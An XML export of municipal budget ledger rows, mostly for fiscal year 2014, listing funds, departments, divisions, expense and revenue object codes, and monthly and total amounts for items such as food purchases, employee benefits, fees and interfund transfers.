<row _id="11021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256.0</total></row>
<row _id="11022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>575.0</total></row>
<row _id="11023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>718.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>718.0</total></row>
<row _id="11024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15172.0</total></row>
<row _id="11025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405220.0</object><object_description>MAIN ST-LIGHTS &amp; SIDEWLK CLEAN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-2661.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2661.0</total></row>
<row _id="11026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407950.0</object><object_description>TRAINING GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1040.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-37575.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38615.0</total></row>
<row _id="11027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>299296.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>299296.0</total></row>
<row _id="11028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2085.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2085.0</total></row>
<row _id="11029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>608.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>608.0</total></row>
<row _id="11030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="11031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-18600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18600.0</total></row>
<row _id="11032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139.0</total></row>
<row _id="11033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5186.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5186.0</total></row>
<row _id="11034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="11035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="11036"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="11037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3280.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3280.0</total></row>
<row _id="11038"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24276.0</total></row>
<row _id="11039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>110428.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110428.0</total></row>
<row _id="11040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>56582.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56582.0</total></row>
<row _id="11041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1432.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1432.0</total></row>
<row _id="11042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1217.0</total></row>
<row _id="11043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11098.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11098.0</total></row>
<row _id="11044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="11045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139.0</total></row>
<row _id="11046"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14566.0</total></row>
<row _id="11047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>367.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>367.0</total></row>
<row _id="11048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="11049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="11050"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-21320.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21320.0</total></row>
<row _id="11051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6409.0</total></row>
<row _id="11052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER TO FUND 01</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>262757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>262757.0</total></row>
<row _id="11053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400772.0</object><object_description>JONATHAN CLUB LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-125000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="11054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577520.0</object><object_description>INVESTMENT TRANSFERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-344318.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-344318.0</total></row>
<row _id="11055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17494.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17494.0</total></row>
<row _id="11056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="11057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="11058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="11059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>6000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="11060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-708013.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-708013.0</total></row>
<row _id="11061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405830.0</object><object_description>MEASURE R - OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-7861048.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7861048.0</total></row>
<row _id="11062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308479.0</total></row>
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<row _id="11064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>89336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89336.0</total></row>
<row _id="11065"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>68954.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68954.0</total></row>
<row _id="11066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15987.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15987.0</total></row>
<row _id="11067"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40341.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40341.0</total></row>
<row _id="11068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28732.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28732.0</total></row>
<row _id="11069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1666.0</total></row>
